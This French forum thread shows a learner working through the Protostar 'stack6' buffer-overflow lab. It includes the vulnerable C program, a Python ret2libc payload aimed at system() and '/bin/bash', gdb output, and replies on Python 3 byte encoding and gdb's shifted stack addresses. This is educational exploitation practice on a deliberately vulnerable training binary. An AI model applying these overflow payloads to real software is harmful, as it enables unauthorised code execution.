Probleme exploitation buffer overflow

Version imprimable

Bonjour à tous ,
J'essaye de faire l'exercice stack6 de la machine virutelle protostar.
Le but est d'exploiter le code suivant :
Code:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 #include <stdlib.h> #include <unistd.h> #include <stdio.h> #include <string.h> void getpath() { char buffer[64]; unsigned int ret; printf("input path please: "); fflush(stdout); gets(buffer); ret = __builtin_return_address(0); if((ret & 0xbf000000) == 0xbf000000) { printf("bzzzt (%p)\n", ret); _exit(1); } printf("got path %s\n", buffer); } int main(int argc, char **argv) { getpath(); }
J'ai essayé de l'exploiter en ret2libc come ceci :
Code:

1 2 python -c "print('A'*80+'\x40\x9b\xe1\xf7'+'\x30\xd7\xe0\xf7'+'\x89\xda\xff\xff')" > file
avec
Code:

1 2 gdb-peda$ x/s 0xffffda89 0xffffda89: "/bin/bash"
Code:

1 2 3 4 gdb-peda$ p system $1 = {<text variable, no debug info>} 0xf7e19b40 <system> gdb-peda$ p exit $2 = {<text variable, no debug info>} 0xf7e0d730 <exit>
j'obitens

Citation:

Stopped reason: SIGSEGV
0xc39bc240 in ?? ()

le 80 est bon car si je fais

Code:

python -c "print('A'*80+'B'*4+'C'*4)" > file

j'obtiens

Citation:

Stopped reason: SIGSEGV
0x42424242 in ?? ()

Merci d'avance pour toute aide !

02/05/2016, 19h48
dahtah

Salut,

Tes adresses sont bizarres pour du 32 bits (a la fois @libc, et @"bash"), elles sont en kernel land (au dela de 0xc0000000). D'ailleurs tu prends un SIGSEGV vu que tu essaies d'executer du code kernel (0xc39bc240).

Ton approche generale est correcte sinon.

Pour debugger, met un breakpoint sur system() et inspecte la stack a ce point. Reverifie bien tes adresses, le mapping en-dehors de gdb n'est pas forcement le meme
02/05/2016, 20h03
Neolex

Merci pour votre réponse .

Je suis sur un pc 64bits mais j'ai tout compilé en 32bits , peut être que ça vient de la les adresses "bizarre" ?

J'ai mis un breakpoint sur system mais il n'est pas atteint ... Je vais essayer d'y aller completement pas à pas pour voir ce qu'il se passe.

Merci beaucoup de votre aide
02/05/2016, 20h36
Neolex

J'ai essayé de remplacer python par python2 et voici ce qui se passe :

Citation:

atlas@archlinux-atlas> Protostar_stack6$python2 -c "print('A'*80+'\x40\x9b\xe1\xf7'+'\x30\xd7\xe0\xf7'+'\x89\xda\xff\xff')" > file
atlas@archlinux-atlas> Protostar_stack6$./stack6 < file
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@��AAAAAAAAAAAA@��0��
sh: xterm : commande introuvable

Et dans gdb :

Citation:

gdb-peda$ r < file
Starting program: /home/atlas/Documents/hacking/pwn/Protostar_stack6/stack6 < file
input path please: got path AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA@��AAAAAAAAAAAA@��0��
[New process 14384]
process 14384 is executing new program: /usr/bin/bash
process 14384 is executing new program: /usr/bin/bash
[Inferior 2 (process 14384) exited normally]
Warning: not running or target is remote

Edit: j'ai re essayer ce matin avec les meme valeur et ça fonctionne sur ma machine quand je le fais en perl et en python2 mais pas en python 3.5 ... si quelqu'un aurait une idée du pourquoi ?

Edit 2: J'ai finalement reussi a le faire fonctionner sur la machine virtuelle protostar mais il y avait une enorme difference entre l'adresse de la variable d'environnement dans gdb et celle hors de gdb , j'ai mis beaucou temps à "tatonner" , il y à t'il une facon de connaitre la difference entre ces adresse à l'avance ou est on obligé d'y aller a taton ?

Salut,

Meme pour du 32bits sur 64bits tes adresses sont etranges. Enfin bon, aucune importance.

Citation:

Envoyé par Neolex

Edit: j'ai re essayer ce matin avec les meme valeur et ça fonctionne sur ma machine quand je le fais en perl et en python2 mais pas en python 3.5 ... si quelqu'un aurait une idée du pourquoi ?

Il faut que tu travailles sur des bytes en python3: (e.g: b"A"*123 + b"c"*12). Sinon ton flux est considere comme unicode et serialise en utf-8 par default ('\x40\x9b\xe1\xf7'.encode() appele par python3):
Code:

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 stash/ » python3 -c "print('A'*80+'\x40\x9b\xe1\xf7'+'\x30\xd7\xe0\xf7'+'\x89\xda\xff\xff')" > /tmp/test stash/ » hexdump -C /tmp/test 00000000 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 |AAAAAAAAAAAAAAAA| * 00000050 40 c2 9b c3 a1 c3 b7 30 c3 97 c3 a0 c3 b7 c2 89 |@......0........| 00000060 c3 9a c3 bf c3 bf 0a |.......| 00000067 >>> # Example pour le signe ÷ >>> p = "\xf7" >>> p '÷' >>> p.encode() b'\xc3\xb7' >>> # Table de conversion<a href="http://www.utf8-chartable.de/" target="_blank"> ici</a>
On retrouve l'adresse ou ca plantait dans ton premier post ;)

Citation:

Envoyé par Neolex

Edit 2: J'ai finalement reussi a le faire fonctionner sur la machine virtuelle protostar mais il y avait une enorme difference entre l'adresse de la variable d'environnement dans gdb et celle hors de gdb , j'ai mis beaucou temps à "tatonner" , il y à t'il une facon de connaitre la difference entre ces adresse à l'avance ou est on obligé d'y aller a taton ?

Oui, c'est normal. GDB rajoute pas mal de variables d'environment (LINES, COLUMNS, ... c.f: show environment), du coup ca modifie le haut de la stack. La longueur du chemin pointant vers ton binaire, ainsi que la longueur de argv jouent egalement.
L'idee c'est d'utiliser env, de telle sorte a avoir le meme environnement dans gdb et en dehors. Le script present ici m'etait utile a l'epoque.

Bon courage.

03/05/2016, 19h42
Neolex

Bonsoir ,
Merci beaucoup pour vos reponses elles ont vraiment eclairé les intérogations que j'avais !

Merci pour le script il sera surement très utile !
J'ai finalement réussi à trouver l'adresse de la variable d'environnement avec un simple getEnv en C.

Je mets le sujet en résolu , merci encore j'ai beaucoup appris grâce à vous !